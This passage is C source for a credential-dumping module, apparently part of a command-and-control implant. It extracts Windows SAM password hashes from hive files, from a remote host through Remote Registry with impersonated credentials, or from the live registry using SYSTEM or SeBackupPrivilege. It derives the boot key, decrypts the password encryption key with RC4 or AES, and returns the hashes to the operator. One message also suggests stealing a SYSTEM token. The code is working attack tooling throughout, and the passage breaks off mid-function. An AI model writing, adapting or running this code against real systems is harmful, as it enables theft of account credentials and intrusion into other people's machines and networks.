        NTSTATUS NtStatus = GetLsaSystemKeyFromHive(tempSystemKey, LsaSystemKey);
        
        if (!NT_SUCCESS(NtStatus)) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: 0x%08lX\n", NtStatus);
            RegUnLoadKeyW(hkLocalMachine, tempSamKey);
            RegUnLoadKeyW(hkLocalMachine, tempSystemKey);
            RegCloseKey(hkLocalMachine);
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] LSA system key extracted successfully\n");
        
        // Get Password Encryption Key from loaded SAM hive
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting Password Encryption Key from loaded SAM hive...\n");
        UCHAR PasswordEncryptionKey[PEK_SIZE];
        PNTOPENKEYEX OpenKeyEx = NULL;
        NtStatus = GetPasswordEncryptionKeyFromHive(LsaSystemKey, PasswordEncryptionKey, tempSamKey, &OpenKeyEx);
        
        if (!NT_SUCCESS(NtStatus)) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: 0x%08lX\n", NtStatus);
            RegUnLoadKeyW(hkLocalMachine, tempSamKey);
            RegUnLoadKeyW(hkLocalMachine, tempSystemKey);
            RegCloseKey(hkLocalMachine);
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Password Encryption Key extracted successfully\n");
        
        // Dump password hashes from loaded SAM hive
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating password hashes from loaded SAM hive...\n");
        PPaquete credentials = nuevoPaquete(0, FALSE);
        DumpPasswordHashesFromHive(PasswordEncryptionKey, tempSamKey, OpenKeyEx, credentials, salida);
        _inf("[samdump] Password hash enumeration completed");
        
        // Unload hives
        RegUnLoadKeyW(hkLocalMachine, tempSamKey);
        RegUnLoadKeyW(hkLocalMachine, tempSystemKey);
        RegCloseKey(hkLocalMachine);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Registry hives unloaded\n");
        
        PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
        PackageAddFormatPrintf(salida, FALSE, "||            Dump Completed               ||\n");
        PackageAddFormatPrintf(salida, FALSE, "============================================\n");
        PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n");
        
        // Add artifacts
        char artifact_buf[512];
        snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: File read %s", samPath);
        addArtifact(artifacts, "File Read", artifact_buf);
        
        snprintf(artifact_buf, sizeof(artifact_buf), "SYSTEM database access: File read %s (boot key)", systemPath);
        addArtifact(artifacts, "File Read", artifact_buf);
        
        snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: SAM database enumeration and hash extraction from files");
        addArtifact(artifacts, "Credential Access", artifact_buf);
        
        // Add output
        if (salida->length > 0) {
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length);
        } else {
            addInt32(respuesta, 0);
        }
        
        // Add credentials
        if (credentials->length > 0) {
            addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE);
            _inf("[samdump] Credentials agregadas, length=%zu", credentials->length);
        }
        
        // Add artifacts
        if (artifacts->length > 0) {
            addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE);
            _inf("[samdump] Artifacts agregados, length=%zu", artifacts->length);
        }
        
        liberarPaquete(credentials);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    } else if (strcmp(method, "remote") == 0) {
        if (remoteHost[0] == '\0') {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Remote host not specified\n");
            PackageAddFormatPrintf(salida, FALSE, "[samdump] remote_host is required when method=remote\n");
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Remote host: %s\n", remoteHost);
        
        // Impersonate user if provided (username and password indicate impersonation)
        BOOL impersonated = FALSE;
        if (username[0] != '\0' && password[0] != '\0') {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Impersonating user: %s\n", username);
            
            // Use network credentials for remote access
            // Format: "User@Domain:Password" or "User:Password"
            CHAR credentialString[512];
            if (strchr(username, '@') == NULL) {
                // No domain, use format "User:Password"
                snprintf(credentialString, sizeof(credentialString), "%s:%s", username, password);
            } else {
                // Has domain, use format "User@Domain:Password"
                snprintf(credentialString, sizeof(credentialString), "%s:%s", username, password);
            }
            
            WCHAR credentialStringW[512];
            MultiByteToWideChar(CP_ACP, 0, credentialString, -1, credentialStringW, 512);
            
            // Parse credential string to separate username and password
            PWCHAR colonPos = wcschr(credentialStringW, L':');
            if (colonPos) {
                *colonPos = L'\0';
                PWCHAR userPart = credentialStringW;
                PWCHAR passPart = colonPos + 1;
                
                // LogonUser with LOGON32_LOGON_NEW_CREDENTIALS for outbound connections only
                HANDLE TokenHandle;
                BOOL Result = LogonUserW(userPart, NULL, passPart, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &TokenHandle);
                
                if (Result) {
                    Result = ImpersonateLoggedOnUser(TokenHandle);
                    CloseHandle(TokenHandle);
                    if (Result) {
                        impersonated = TRUE;
                        PackageAddFormatPrintf(salida, FALSE, "[samdump] Successfully impersonated user\n");
                    } else {
                        PackageAddFormatPrintf(salida, FALSE, "[samdump] WARNING: Failed to impersonate user: %lu\n", GetLastError());
                    }
                } else {
                    PackageAddFormatPrintf(salida, FALSE, "[samdump] WARNING: Failed to create token for user: %lu\n", GetLastError());
                }
            }
        }
        
        // Check if we can access SAM remotely (start Remote Registry service if needed)
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Checking remote registry service...\n");
        WCHAR remoteHostW[256];
        MultiByteToWideChar(CP_ACP, 0, remoteHost, -1, remoteHostW, 256);
        
        BOOL canAccess = CanAccessSamRemotely(remoteHostW);
        if (!canAccess) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Cannot access remote registry service\n");
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Ensure Remote Registry service can be started on target\n");
            if (impersonated) {
                RevertToSelf();
            }
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        // Connect to remote registry
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Connecting to remote registry...\n");
        HKEY hkRemote = NULL;
        LONG regResult = RegConnectRegistryW(remoteHostW, HKEY_LOCAL_MACHINE, &hkRemote);
        
        if (regResult != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to connect to remote registry: %ld\n", regResult);
            PackageAddFormatPrintf(salida, FALSE, "[samdump] Ensure Remote Registry service is running on target\n");
            if (impersonated) {
                RevertToSelf();
            }
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Connected to remote registry successfully\n");
        
        // Get LSA system key from remote registry
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting LSA system key from remote registry...\n");
        UCHAR LsaSystemKey[SYSTEM_KEY_SIZE];
        LONG lsaStatus = GetLsaSystemKeyRemote(hkRemote, LsaSystemKey);
        
        if (lsaStatus != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: %ld\n", lsaStatus);
            RegCloseKey(hkRemote);
            if (impersonated) {
                RevertToSelf();
            }
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] LSA system key extracted successfully\n");
        
        // Get Password Encryption Key from remote SAM
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Extracting Password Encryption Key from remote SAM...\n");
        UCHAR PasswordEncryptionKey[PEK_SIZE];
        LONG pekStatus = GetPasswordEncryptionKeyRemote(hkRemote, LsaSystemKey, PasswordEncryptionKey);
        
        if (pekStatus != ERROR_SUCCESS) {
            PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: %ld\n", pekStatus);
            RegCloseKey(hkRemote);
            if (impersonated) {
                RevertToSelf();
            }
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            mandarPaquete(respuesta);
            liberarPaquete(salida);
            liberarPaquete(artifacts);
            liberarPaquete(respuesta);
            return;
        }
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Password Encryption Key extracted successfully\n");
        
        // Dump password hashes from remote SAM
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating password hashes from remote SAM...\n");
        PPaquete credentials = nuevoPaquete(0, FALSE);
        DumpPasswordHashesRemote(hkRemote, PasswordEncryptionKey, credentials, salida);
        _inf("[samdump] Password hash enumeration completed");
        
        // Close remote registry connection
        RegCloseKey(hkRemote);
        if (impersonated) {
            RevertToSelf();
        }
        
        PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
        PackageAddFormatPrintf(salida, FALSE, "||            Dump Completed               ||\n");
        PackageAddFormatPrintf(salida, FALSE, "============================================\n");
        PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n");
        
        // Add artifacts
        char artifact_buf[512];
        snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Remote registry connection to %s", remoteHost);
        addArtifact(artifacts, "Network Connection", artifact_buf);
        
        snprintf(artifact_buf, sizeof(artifact_buf), "SYSTEM database access: Remote registry read %s\\SYSTEM (boot key)", remoteHost);
        addArtifact(artifacts, "Registry Read", artifact_buf);
        
        snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: Remote SAM database enumeration and hash extraction");
        addArtifact(artifacts, "Credential Access", artifact_buf);
        
        // Add output
        if (salida->length > 0) {
            addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
            _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length);
        } else {
            addInt32(respuesta, 0);
        }
        
        // Add credentials
        if (credentials->length > 0) {
            addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE);
            _inf("[samdump] Credentials agregadas, length=%zu", credentials->length);
        }
        
        // Add artifacts
        if (artifacts->length > 0) {
            addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE);
            _inf("[samdump] Artifacts agregados, length=%zu", artifacts->length);
        }
        
        liberarPaquete(credentials);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }
    
    // Default: registry method (existing implementation)
    // Check if we can access SAM
    _inf("[samdump] Checking SAM database access...");
    PNTOPENKEYEX OpenKeyEx = NULL;
    NTSTATUS NtStatus = CanAccessSam(&OpenKeyEx);
    
    if (!NT_SUCCESS(NtStatus)) {
        _err("[samdump] Cannot access SAM database: 0x%08lX", NtStatus);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Cannot access SAM database: 0x%08lX\n", NtStatus);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Requires SYSTEM privileges or SeBackupPrivilege\n");
        PackageAddFormatPrintf(salida, FALSE, "[samdump] Try: steal_token 4  (to steal SYSTEM token)\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }
    
    _inf("[samdump] SAM database access granted");
    
    // Artifacts will be added during hash extraction
    // We'll add them here as a general indicator
    char artifact_buf[512];
    snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Registry read HKEY_LOCAL_MACHINE\\SAM");
    addArtifact(artifacts, "Registry Read", artifact_buf);
    
    snprintf(artifact_buf, sizeof(artifact_buf), "SAM database access: Registry read HKEY_LOCAL_MACHINE\\SYSTEM (boot key)");
    addArtifact(artifacts, "Registry Read", artifact_buf);
    
    snprintf(artifact_buf, sizeof(artifact_buf), "Credential Access: SAM database enumeration and hash extraction");
    addArtifact(artifacts, "Credential Access", artifact_buf);
    
    // Get the LSA system key
    _inf("[samdump] Extracting LSA system key...");
    UCHAR LsaSystemKey[SYSTEM_KEY_SIZE];
    NtStatus = GetLsaSystemKey(LsaSystemKey);
    
    if (!NT_SUCCESS(NtStatus)) {
        _err("[samdump] Failed to get LSA system key: 0x%08lX", NtStatus);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get LSA system key: 0x%08lX\n", NtStatus);
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        if (artifacts->length > 0) {
            addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, TRUE);
        }
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }
    
    _inf("[samdump] LSA system key extracted successfully");
    
    // Get the Password Encryption Key (PEK)
    _inf("[samdump] Extracting Password Encryption Key (PEK)...");
    UCHAR PasswordEncryptionKey[PEK_SIZE];
    NtStatus = GetPasswordEncryptionKey(LsaSystemKey, PasswordEncryptionKey, OpenKeyEx);
    
    if (!NT_SUCCESS(NtStatus)) {
        _err("[samdump] Failed to get Password Encryption Key: 0x%08lX", NtStatus);
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to get Password Encryption Key: 0x%08lX\n", NtStatus);
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        if (artifacts->length > 0) {
            addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, TRUE);
        }
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }
    
    _inf("[samdump] Password Encryption Key extracted successfully");
    
    // Create temporary package for credentials (they will be added after output)
    PPaquete credentials = nuevoPaquete(0, FALSE);
    
    // Dump all password hashes
    _inf("[samdump] Starting password hash enumeration...");
    PackageAddFormatPrintf(salida, FALSE, "[samdump] Enumerating local user accounts...\n\n");
    DumpPasswordHashes(PasswordEncryptionKey, OpenKeyEx, credentials, salida);
    _inf("[samdump] Password hash enumeration completed");
    
    PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||            Dump Completed               ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "[samdump] SAM dump completed\n");
    
    // IMPORTANT: Add ALL output to response FIRST
    // The parser expects: UUID (36 bytes) + Output size (4 bytes) + Output data + Artifacts/Credentials
    _inf("[samdump] Adding output to response, output length=%zu, respuesta length before=%zu", salida->length, respuesta->length);
    if (salida->length > 0) {
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        _inf("[samdump] Output agregado, respuesta length after=%zu", respuesta->length);
    } else {
        // Even if no output, we must add the size field (0)
        addInt32(respuesta, 0);
        _inf("[samdump] Output size (0) agregado, respuesta length after=%zu", respuesta->length);
    }
    
    // IMPORTANT: Add credentials AFTER the output (before artifacts)
    _inf("[samdump] Adding credentials to response, length=%zu", credentials->length);
    if (credentials->length > 0) {
        // Copy credentials data directly (they already have their markers)
        addBytes(respuesta, (PBYTE)credentials->buffer, credentials->length, FALSE);
    }
    
    // IMPORTANT: Add artifacts AFTER credentials
    _inf("[samdump] Adding artifacts to response, length=%zu", artifacts->length);
    if (artifacts->length > 0) {
        // Copy artifacts data directly (they already have their markers)
        addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE);
    }
    
    liberarPaquete(credentials);
    
    // Log final package content before sending
    _inf("[samdump] Paquete final antes de enviar, length=%zu", respuesta->length);
    if (respuesta->length >= 73) {
        PBYTE buffer = (PBYTE)respuesta->buffer;
        _inf("[samdump] Primeros 73 bytes del paquete (debería ser UUID_agente[36] + POST_RESPONSE[1] + UUID_tarea[36]):");
        for (SIZE_T i = 0; i < 73; i++) {
            _inf("  [%zu] 0x%02X ('%c')", i, (unsigned char)buffer[i],
                 (buffer[i] >= 32 && buffer[i] < 127) ? buffer[i] : '.');
        }
        // Verify UUID structure
        _inf("[samdump] UUID_agente (bytes 0-35): %.36s", buffer);
        _inf("[samdump] POST_RESPONSE (byte 36): 0x%02X", (unsigned char)buffer[36]);
        _inf("[samdump] UUID_tarea (bytes 37-72): %.36s", (PCHAR)(buffer + 37));
    } else {
        _wrn("[samdump] Paquete demasiado corto (%zu bytes), esperado al menos 73", respuesta->length);
    }
    
    mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(artifacts);
    liberarPaquete(respuesta);
    
    _inf("===== SamDumpHandler FIN =====");
}

// Check if SID is Local System
static BOOLEAN IsSidLocalSystem(PSID Sid) {
    PSID LocalSystemSid;
    SID_IDENTIFIER_AUTHORITY IdentifierAuthority = SECURITY_NT_AUTHORITY;
    
    // Use advapi32.dll functions directly (available statically)
    if (!AllocateAndInitializeSid(&IdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &LocalSystemSid)) {
        return FALSE;
    }
    
    BOOLEAN Result = EqualSid(Sid, LocalSystemSid);
    FreeSid(LocalSystemSid);
    return Result;
}

// Check if we can access SAM
static NTSTATUS CanAccessSam(PNTOPENKEYEX* NtOpenKeyExPointer) {
    HANDLE TokenHandle;
    NTSTATUS Status = pNtOpenProcessToken(NtCurrentProcess, TOKEN_QUERY, &TokenHandle);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    ULONG ReturnLength;
    UCHAR Buffer[256];
    PTOKEN_USER UserSid = (PTOKEN_USER)Buffer;
    
    Status = pNtQueryInformationToken(TokenHandle, TokenUser, UserSid, sizeof(Buffer), &ReturnLength);
    NtClose(TokenHandle);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    // If we are SYSTEM, we can access SAM directly
    if (IsSidLocalSystem(UserSid->User.Sid)) {
        *NtOpenKeyExPointer = NULL;
        return STATUS_SUCCESS;
    }
    
    // Otherwise, try to acquire SeBackupPrivilege
    ULONG Privilege = SE_BACKUP_PRIVILEGE;
    PVOID State;
    
    Status = pRtlAcquirePrivilege(&Privilege, 1, 0, &State);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    // Try to get NtOpenKeyEx (Windows 7+)
    PVOID DllHandle;
    UNICODE_STRING DllName = RTL_CONSTANT_STRING(L"ntdll.dll");
    
    Status = pLdrGetDllHandle(0, 0, &DllName, &DllHandle);
    
    if (NT_SUCCESS(Status)) {
        ANSI_STRING ProcedureName = RTL_CONSTANT_ANSI_STRING("NtOpenKeyEx");
        Status = pLdrGetProcedureAddress(DllHandle, &ProcedureName, 0, (PVOID*)NtOpenKeyExPointer);
    }
    
    return Status;
}

// Get LSA System Key from registry
static NTSTATUS GetLsaSystemKey(PUCHAR SystemKey) {
    HANDLE LsaKey;
    UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Lsa");
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status = pNtOpenKey(&LsaKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    UNICODE_STRING KeyNames[4] = {
        RTL_CONSTANT_STRING(L"JD"),
        RTL_CONSTANT_STRING(L"Skew1"),
        RTL_CONSTANT_STRING(L"GBG"),
        RTL_CONSTANT_STRING(L"Data")
    };
    
    HANDLE KeyHandle;
    UCHAR KeyParts[16];
    ULONG ResultLength;
    
    KeyAttributes.RootDirectory = LsaKey;
    
    for (UCHAR Index = 0; Index < 4; Index++) {
        KeyAttributes.ObjectName = &KeyNames[Index];
        Status = pNtOpenKey(&KeyHandle, KEY_QUERY_VALUE, &KeyAttributes);
        
        if (!NT_SUCCESS(Status)) {
            break;
        }
        
        UCHAR Buffer[100] = { 0 };
        PKEY_NODE_INFORMATION NodeInformation = (PKEY_NODE_INFORMATION)Buffer;
        
        Status = pNtQueryKey(KeyHandle, KeyNodeInformation, NodeInformation, 100, &ResultLength);
        NtClose(KeyHandle);
        
        if (!NT_SUCCESS(Status)) {
            break;
        }
        
        *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul((PWCHAR)(Buffer + NodeInformation->ClassOffset), 0, 16));
    }
    
    if (NT_SUCCESS(Status)) {
        // Permutate key parts
        SystemKey[0] = KeyParts[8];
        SystemKey[1] = KeyParts[5];
        SystemKey[2] = KeyParts[4];
        SystemKey[3] = KeyParts[2];
        SystemKey[4] = KeyParts[11];
        SystemKey[5] = KeyParts[9];
        SystemKey[6] = KeyParts[13];
        SystemKey[7] = KeyParts[3];
        SystemKey[8] = KeyParts[0];
        SystemKey[9] = KeyParts[6];
        SystemKey[10] = KeyParts[1];
        SystemKey[11] = KeyParts[12];
        SystemKey[12] = KeyParts[14];
        SystemKey[13] = KeyParts[10];
        SystemKey[14] = KeyParts[15];
        SystemKey[15] = KeyParts[7];
    }
    
    NtClose(LsaKey);
    return Status;
}

// Get Password Encryption Key
static NTSTATUS GetPasswordEncryptionKey(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx) {
    HANDLE AccountKey;
    UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SAM\\SAM\\Domains\\Account");
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status;
    
    if (OpenKeyEx == NULL) {
        Status = pNtOpenKey(&AccountKey, KEY_READ, &KeyAttributes);
    } else {
        Status = OpenKeyEx(&AccountKey, KEY_READ, &KeyAttributes, REG_OPTION_BACKUP_RESTORE);
    }
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F");
    ULONG ResultLength;
    
    Status = pNtQueryValueKey(AccountKey, &FixedAttributesValueName, KeyValueFullInformation, 0, 0, &ResultLength);
    
    if (Status != STATUS_BUFFER_TOO_SMALL) {
        NtClose(AccountKey);
        return Status;
    }
    
    PKEY_VALUE_FULL_INFORMATION KeyValue = (PKEY_VALUE_FULL_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ResultLength);
    
    if (KeyValue == NULL) {
        NtClose(AccountKey);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    Status = pNtQueryValueKey(AccountKey, &FixedAttributesValueName, KeyValueFullInformation, KeyValue, ResultLength, &ResultLength);
    
    if (NT_SUCCESS(Status)) {
        PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)((PUCHAR)(KeyValue) + KeyValue->DataOffset);
        
        BOOLEAN DecryptResult = DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey);
        if (DecryptResult == FALSE) {
            Status = STATUS_UNSUCCESSFUL;
        }
    }
    
    HeapFree(GetProcessHeap(), 0, KeyValue);
    NtClose(AccountKey);
    return Status;
}

// Decrypt Password Encryption Key
static BOOLEAN DecryptPasswordEncryptionKey(PUCHAR LsaSystemKey, PSAM_DOMAIN_FIXED_DATA DomainFixedData, PUCHAR PasswordEncryptionKey) {
    switch (DomainFixedData->PasswordEncryptionKey.Version) {
        case 1: {
            // RC4 encryption
            CHAR String1[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
            CHAR String2[] = "0123456789012345678901234567890123456789";
            
            // Create MD5 hash
            UCHAR md5Input[256];
            ULONG offset = 0;
            memcpy(md5Input + offset, DomainFixedData->PasswordEncryptionKey.Rc4.Salt, 16);
            offset += 16;
            memcpy(md5Input + offset, String1, sizeof(String1));
            offset += sizeof(String1);
            memcpy(md5Input + offset, LsaSystemKey, SYSTEM_KEY_SIZE);
            offset += SYSTEM_KEY_SIZE;
            memcpy(md5Input + offset, String2, sizeof(String2));
            offset += sizeof(String2);
            
            UCHAR md5Digest[MD5_DIGEST_LENGTH];
            MD5Hash(md5Input, offset, md5Digest);
            
            // Use SystemFunction033 for RC4 decryption
            STRING Data;
            Data.Length = Data.MaximumLength = PEK_SIZE;
            Data.Buffer = (PCHAR)DomainFixedData->PasswordEncryptionKey.Rc4.Key;
            
            STRING Key;
            Key.Length = Key.MaximumLength = MD5_DIGEST_LENGTH;
            Key.Buffer = (PCHAR)md5Digest;
            
            NTSTATUS Status = pSystemFunction033(&Data, &Key);
            
            if (NT_SUCCESS(Status)) {
                memcpy(PasswordEncryptionKey, Data.Buffer, Data.Length);
                return TRUE;
            }
            
            return FALSE;
        }
        
        case 2: {
            // AES encryption
            BOOLEAN Result = Aes128Decrypt(LsaSystemKey, DomainFixedData->PasswordEncryptionKey.Aes.Iv, 
                                          DomainFixedData->PasswordEncryptionKey.Aes.Key, 
                                          DomainFixedData->PasswordEncryptionKey.Aes.KeyLength);
            
            if (Result == TRUE) {
                memcpy(PasswordEncryptionKey, DomainFixedData->PasswordEncryptionKey.Aes.Key, 
                      DomainFixedData->PasswordEncryptionKey.Aes.KeyLength);
            }
            
            return Result;
        }
        
        default:
            return FALSE;
    }
}

// AES-128 Decrypt
static BOOLEAN Aes128Decrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, ULONG CiphertextLength) {
    HCRYPTPROV Provider;
    BOOL Result = CryptAcquireContextA(&Provider, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    
    if (Result == FALSE) {
        return FALSE;
    }
    
    HCRYPTKEY KeyHandle = 0;
    
    UCHAR Buffer[sizeof(BLOBHEADER) + sizeof(ULONG) + 16];
    BLOBHEADER* KeyBlob = (BLOBHEADER*)Buffer;
    
    KeyBlob->bType = PLAINTEXTKEYBLOB;
    KeyBlob->bVersion = CUR_BLOB_VERSION;
    KeyBlob->reserved = 0;
    KeyBlob->aiKeyAlg = CALG_AES_128;
    
    *(PULONG)(Buffer + sizeof(BLOBHEADER)) = 16;
    memcpy(Buffer + sizeof(BLOBHEADER) + sizeof(ULONG), Key, 16);
    
    Result = CryptImportKey(Provider, Buffer, sizeof(Buffer), 0, 0, &KeyHandle);
    
    if (Result == FALSE) {
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }
    
    ULONG Mode = CRYPT_MODE_CBC;
    Result = CryptSetKeyParam(KeyHandle, KP_MODE, (PUCHAR)(&Mode), 0);
    
    if (Result == FALSE) {
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }
    
    Result = CryptSetKeyParam(KeyHandle, KP_IV, Iv, 0);
    
    if (Result == FALSE) {
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }
    
    DWORD dwDataLen = CiphertextLength;
    Result = CryptDecrypt(KeyHandle, 0, TRUE, 0, Ciphertext, &dwDataLen);
    
    CryptDestroyKey(KeyHandle);
    CryptReleaseContext(Provider, 0);
    return Result;
}

// Query user variable attributes
static NTSTATUS QueryUserVariableAttributes(HANDLE KeyHandle, PKEY_VALUE_PARTIAL_INFORMATION* ValueInformation) {
    UNICODE_STRING VariableAttributesValueName = RTL_CONSTANT_STRING(L"V");
    ULONG ResultLength;
    NTSTATUS Status = pNtQueryValueKey(KeyHandle, &VariableAttributesValueName, KeyValuePartialInformation, 0, 0, &ResultLength);
    
    if (Status != STATUS_BUFFER_TOO_SMALL) {
        return Status;
    }
    
    PKEY_VALUE_PARTIAL_INFORMATION ValueInfo = (PKEY_VALUE_PARTIAL_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ResultLength);
    
    if (ValueInfo == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    Status = pNtQueryValueKey(KeyHandle, &VariableAttributesValueName, KeyValuePartialInformation, ValueInfo, ResultLength, &ResultLength);
    
    if (!NT_SUCCESS(Status)) {
        HeapFree(GetProcessHeap(), 0, ValueInfo);
        return Status;
    }
    
    *ValueInformation = ValueInfo;
    return Status;
}

// Decrypt hash and extract LM/NT hashes
// hashType: 0 = LM, 1 = NT
static VOID DecryptHash(PATTRIBUTE_TABLE_ENTRY HashTableEntry, PSAM_HASH Hash, PUCHAR PasswordEncryptionKey, ULONG UserRid, BOOLEAN isLMHash, PBYTE* outputHash) {
    *outputHash = NULL;
    
    if (HashTableEntry->Length == 0) {
        return;
    }
    
    PUCHAR DataBuffer = Hash->Revision == 1 ? (PUCHAR)(Hash->Rc4.Data) : (PUCHAR)(Hash->Aes.Data);
    // Calculate data length: total length minus header size
    // For RC4: header is PekId (2) + Revision (2) = 4 bytes
    // For AES: header is PekId (2) + Revision (2) + DataOffset (4) + Iv (16) = 24 bytes
